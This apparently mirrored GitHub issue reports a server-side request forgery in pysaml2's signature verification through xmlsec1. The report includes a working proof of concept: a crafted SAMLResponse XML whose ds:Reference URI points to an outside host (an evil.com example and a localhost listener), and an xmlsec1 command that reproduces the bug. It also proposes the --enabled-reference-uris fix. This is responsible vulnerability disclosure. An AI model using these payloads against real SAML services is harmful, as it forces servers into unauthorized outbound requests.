SSRF from `URI` attribute in `SAMLResponse`
See original GitHub issueHowdy y’all, been tracking down the root cause of another SSRF reported by a client. Lots of SAML is new to me so please feel free to be critical!
Code Version
pysaml2 = 4.5.0
xmlsec1 = 1.2.25
Expected Behavior
pysaml2
should not make arbitrary http calls.
Current Behavior
A Burp scan reported the following:
Issue: External service interaction (HTTP)
Path: /saml/sso/okta/
Issue detail
It is possible to induce the application to perform server-side HTTP requests to arbitrary domains.
The payload http://9kukx3fprxyfcbyfnkcie63gu708oycw4ju6lw9l.burpcollaborator.net?#id117178283225551701714676244 was submitted in the URI XML attribute, within the Base64-decoded value of the SAMLResponse parameter.
The application performed an HTTP request to the specified domain.
I encountered SSRF recently (https://github.com/IdentityPython/pysaml2/issues/508) because of an outdated xmlsec1
. In this case, however, it occurred with an up-to-date pysaml2
(4.5.0) and xmlsec1
(1.2.25).
The SSRF occurs in the URI
field of the ds:Reference
node of a SAML response. Normally, these look like this:
<ds:Reference URI="#id117178283225551701714676244">
but you can change them to something like this:
<ds:Reference URI="http://www.evil.com/uhoh?#id117178283225551701714676244">
and the URI will be resolved internally.
The pysaml2
method that triggers the SSRF is parse_authn_request_response
. I tracked down the root cause to the call out to xmlsec1 --verify
.
Possible Solution
There appears to be a simple fix. There is a flag --enabled-reference-uris
in xmlsec1
that prevents this.
--enabled-reference-uris <list>
comma separated list of of the following values:
"empty", "same-doc", "local","remote" to restrict possible URI
attribute values for the <dsig:Reference> element
Setting it to same-doc
no longer triggers an SSRF.
I think this would a one-line fix in sigver.py:validate_signature
.
Steps to Reproduce
Here is a command to replicate the SSRF:
xmlsec1 --verify --pubkey-cert-pem cert.pem --id-attr:ID urn:oasis:names:tc:SAML:2.0:protocol:Response --node-id id13006418945800911522578705 --output foo.xml ssrf.xml
Run a local web server to see the request. e.g.
python3 -m http.server
The files cert.pem
and ssrf.py
are pasted below. They’re intercepted from an authentication flow on a local Flask app created by following Okta’s pysaml2 tutorial.
You can tweak the URI in ssrf.xml
(grep for localhost
).
cert.pem
-----BEGIN CERTIFICATE-----
MIIDpDCCAoygAwIBAgIGAWQF+esNMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEG
A1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU
MBIGA1UECwwLU1NPUHJvdmlkZXIxEzARBgNVBAMMCmRldi0xMzc3NzMxHDAaBgkqhkiG9w0BCQEW
DWluZm9Ab2t0YS5jb20wHhcNMTgwNjE2MDAyMjQyWhcNMjgwNjE2MDAyMzQxWjCBkjELMAkGA1UE
BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDTALBgNV
BAoMBE9rdGExFDASBgNVBAsMC1NTT1Byb3ZpZGVyMRMwEQYDVQQDDApkZXYtMTM3NzczMRwwGgYJ
KoZIhvcNAQkBFg1pbmZvQG9rdGEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
r353+7h1iCfRyY8MB2fJgdBlsLaA//tTJ2akD0IXv4Z0LnwYcQvkeLFfdtnLkgLQtGtv6sS/YXHw
Kt4olom48wp0ddr1Buzb9Fd35A5scJtw2alD2QzY6UuHGHQh+Y8sxXvImbOW7DpnMmazehupe03r
xU8IkAi+Zw5E2revZPcnvYLvmCH02sX7GebQNZdxSaJw+iI/BZPG0RRwctNORd2Pja/vS4PSpvwS
35A+/zy4L8xDHDpQt8TDeI4kcSXmByVcDy44ps95L+4cZUyerxmlik1zGNgeDrrCZY3gvE+puEd8
ovTUoDc+0lyJwST8zoG0LgvzhoY4BSaG3JduLQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAOw/MA
goYqUVP1EcoVf3KNDh3hOtYcii09WyNItckhDujd9kMllxtySrMP9j90K2+SO0t2I4QAVfWY/NNc
YErLIs19FHM433GCfLAcm57D0AuTv5LYwZQh2IJ55meVoaNOqxk3O5Hb0xK80C/tx0Tuy/7mjoW1
z/vMeaSuaMvd+ogozEM6gynL7sLjoYu9xMHlrzSF15OTu+p/EodlcSnDOGs2LZxjAPOSQed5xYdq
b+8BA5Mb/jYqA7646MwiAbMopAupEhSWCKs0CM3kavSs5HfSkyvLHMEMPjtUqy/oXSYj7vhQstcb
JwVHX4/elPvl4AVd6Ch10PL/2R+U3Hj9
-----END CERTIFICATE-----
ssrf.xml
<?xml version="1.0" encoding="UTF-8"?><saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://localhost:5000/saml/sso/example-okta-com" ID="id13006418945800911522578705" InResponseTo="id-oKQEk3ORAkDv4zi2c" IssueInstant="2018-06-16T00:35:14.241Z" Version="2.0" xmlns:xs="http://www.w3.org/2001/XMLSchema"><saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">http://www.okta.com/exkfhm6ik8yNzY33b0h7</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="http://localhost:8000/uhoh?#id13006418945800911522578705"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="xs"/></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>yukVDz+mAUx0MDDQczU8r9O0WT/9UgQAlzgMv9lGbcE=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>mKAPrbhHzIzTeuyBKYnuW/gYOKQm4ys+8pMIu0a3BiM8hJ7nyGkH9m/OHwykpYf974o4oaM/5Oeo4d+t+lz7kkvae8WukRmqpXn/HdKKetAvUGyYsXADZQODxrsuF/lHlDZsjukTbwC/2zvCqbrPYTba58FJSpSyaVXV5O4AM/WLA+9B4EAqZe9K/htoERh38lgjauGPLoYJ/69qzJ9QMmyYptD8gJZlh1EjyVyDI2ReUbWYT6GQrT8/jnRacJP0gA1UMtS7G9IT/HRqBC25Co+gvKa82ddsGJuv81FFn0pNztokXCudrloJKAAyMNZ9YWP4pM76ECm1+dS3nucFoA==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIDpDCCAoygAwIBAgIGAWQF+esNMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEG
A1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU
MBIGA1UECwwLU1NPUHJvdmlkZXIxEzARBgNVBAMMCmRldi0xMzc3NzMxHDAaBgkqhkiG9w0BCQEW
DWluZm9Ab2t0YS5jb20wHhcNMTgwNjE2MDAyMjQyWhcNMjgwNjE2MDAyMzQxWjCBkjELMAkGA1UE
BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDTALBgNV
BAoMBE9rdGExFDASBgNVBAsMC1NTT1Byb3ZpZGVyMRMwEQYDVQQDDApkZXYtMTM3NzczMRwwGgYJ
KoZIhvcNAQkBFg1pbmZvQG9rdGEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
r353+7h1iCfRyY8MB2fJgdBlsLaA//tTJ2akD0IXv4Z0LnwYcQvkeLFfdtnLkgLQtGtv6sS/YXHw
Kt4olom48wp0ddr1Buzb9Fd35A5scJtw2alD2QzY6UuHGHQh+Y8sxXvImbOW7DpnMmazehupe03r
xU8IkAi+Zw5E2revZPcnvYLvmCH02sX7GebQNZdxSaJw+iI/BZPG0RRwctNORd2Pja/vS4PSpvwS
35A+/zy4L8xDHDpQt8TDeI4kcSXmByVcDy44ps95L+4cZUyerxmlik1zGNgeDrrCZY3gvE+puEd8
ovTUoDc+0lyJwST8zoG0LgvzhoY4BSaG3JduLQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAOw/MA
goYqUVP1EcoVf3KNDh3hOtYcii09WyNItckhDujd9kMllxtySrMP9j90K2+SO0t2I4QAVfWY/NNc
YErLIs19FHM433GCfLAcm57D0AuTv5LYwZQh2IJ55meVoaNOqxk3O5Hb0xK80C/tx0Tuy/7mjoW1
z/vMeaSuaMvd+ogozEM6gynL7sLjoYu9xMHlrzSF15OTu+p/EodlcSnDOGs2LZxjAPOSQed5xYdq
b+8BA5Mb/jYqA7646MwiAbMopAupEhSWCKs0CM3kavSs5HfSkyvLHMEMPjtUqy/oXSYj7vhQstcb
JwVHX4/elPvl4AVd6Ch10PL/2R+U3Hj9</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml2p:Status xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"><saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></saml2p:Status><saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id13006418946048531513586761" IssueInstant="2018-06-16T00:35:14.241Z" Version="2.0" xmlns:xs="http://www.w3.org/2001/XMLSchema"><saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">http://www.okta.com/exkfhm6ik8yNzY33b0h7</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#id13006418946048531513586761"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="xs"/></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>y7rrzPTUGqzMCBOA6m9rqPoMcWV4NqydgctJelO3BtI=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>fHzgiqlCg2hgtx12hRuyr3/ZuHIXlhTue74+w3n1Wv9SeBGp9qyGOiSqfPhFAVoznIdlPlh0dL+8DDnBzqEN1gr9wb3yMRaFI2dBxqCzvfZfHzG9PFy+BIHutujtt9IK3m0eGGtge/FhXhfX1GB3htJOQlfeH8vPfREnsFkcHuiWcd2R7abmu05SCVjfaAHjgmR7uVWyGapl46YmSn2n5w9hQnoIw+uKSAebCRnmYD+HB1YCn4kHrdQxfG0bwg2/31morNS2x87TfY3+6QGoeXqFrBSlAFt6XNHCPBi5CpGTNkhcL5IVKYBZrwKmIiMdJ2X16F0YQWO8GNbFjcCx0g==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIDpDCCAoygAwIBAgIGAWQF+esNMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEG
A1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU
MBIGA1UECwwLU1NPUHJvdmlkZXIxEzARBgNVBAMMCmRldi0xMzc3NzMxHDAaBgkqhkiG9w0BCQEW
DWluZm9Ab2t0YS5jb20wHhcNMTgwNjE2MDAyMjQyWhcNMjgwNjE2MDAyMzQxWjCBkjELMAkGA1UE
BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDTALBgNV
BAoMBE9rdGExFDASBgNVBAsMC1NTT1Byb3ZpZGVyMRMwEQYDVQQDDApkZXYtMTM3NzczMRwwGgYJ
KoZIhvcNAQkBFg1pbmZvQG9rdGEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
r353+7h1iCfRyY8MB2fJgdBlsLaA//tTJ2akD0IXv4Z0LnwYcQvkeLFfdtnLkgLQtGtv6sS/YXHw
Kt4olom48wp0ddr1Buzb9Fd35A5scJtw2alD2QzY6UuHGHQh+Y8sxXvImbOW7DpnMmazehupe03r
xU8IkAi+Zw5E2revZPcnvYLvmCH02sX7GebQNZdxSaJw+iI/BZPG0RRwctNORd2Pja/vS4PSpvwS
35A+/zy4L8xDHDpQt8TDeI4kcSXmByVcDy44ps95L+4cZUyerxmlik1zGNgeDrrCZY3gvE+puEd8
ovTUoDc+0lyJwST8zoG0LgvzhoY4BSaG3JduLQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAOw/MA
goYqUVP1EcoVf3KNDh3hOtYcii09WyNItckhDujd9kMllxtySrMP9j90K2+SO0t2I4QAVfWY/NNc
YErLIs19FHM433GCfLAcm57D0AuTv5LYwZQh2IJ55meVoaNOqxk3O5Hb0xK80C/tx0Tuy/7mjoW1
z/vMeaSuaMvd+ogozEM6gynL7sLjoYu9xMHlrzSF15OTu+p/EodlcSnDOGs2LZxjAPOSQed5xYdq
b+8BA5Mb/jYqA7646MwiAbMopAupEhSWCKs0CM3kavSs5HfSkyvLHMEMPjtUqy/oXSYj7vhQstcb
JwVHX4/elPvl4AVd6Ch10PL/2R+U3Hj9</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">marc@rvit.co</saml2:NameID><saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml2:SubjectConfirmationData InResponseTo="id-oKQEk3ORAkDv4zi2c" NotOnOrAfter="2018-06-16T00:40:14.241Z" Recipient="http://localhost:5000/saml/sso/example-okta-com"/></saml2:SubjectConfirmation></saml2:Subject><saml2:Conditions NotBefore="2018-06-16T00:30:14.241Z" NotOnOrAfter="2018-06-16T00:40:14.241Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AudienceRestriction><saml2:Audience>http://localhost:5000/saml/sso/example-okta-com</saml2:Audience></saml2:AudienceRestriction></saml2:Conditions><saml2:AuthnStatement AuthnInstant="2018-06-16T00:24:55.527Z" SessionIndex="id-oKQEk3ORAkDv4zi2c" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AuthnContext><saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef></saml2:AuthnContext></saml2:AuthnStatement><saml2:AttributeStatement xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:Attribute Name="FirstName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Marc</saml2:AttributeValue></saml2:Attribute><saml2:Attribute Name="LastName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Pare</saml2:AttributeValue></saml2:Attribute><saml2:Attribute Name="Email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">marc@rvit.co</saml2:AttributeValue></saml2:Attribute></saml2:AttributeStatement></saml2:Assertion></saml2p:Response>
Issue Analytics
- State:
- Created 5 years ago
- Reactions:2
- Comments:9 (9 by maintainers)
Seeing that xmlsec1 also has a similar option
--enabled-cipher-reference-uris
, I wonder if this issue can also be achieve by taking advantage of theCipherReference
element and itsURI
attribute@jkakavas yes, we should. This is one of the things I want to do, and it should be part of the type system - ie, our
Reference
type should be making sure it is representing a valid (as we define) node. (In this particular case it isSignature
node that will impose that policy on itsReference
child.) Validation should take place at the very start of the process, where we receive data, parse them and represent them with an object. In pysaml2 some things work that way, while others pass around an xml string that needs to be parsed or modified in place; this should change and hopefully will in the near future.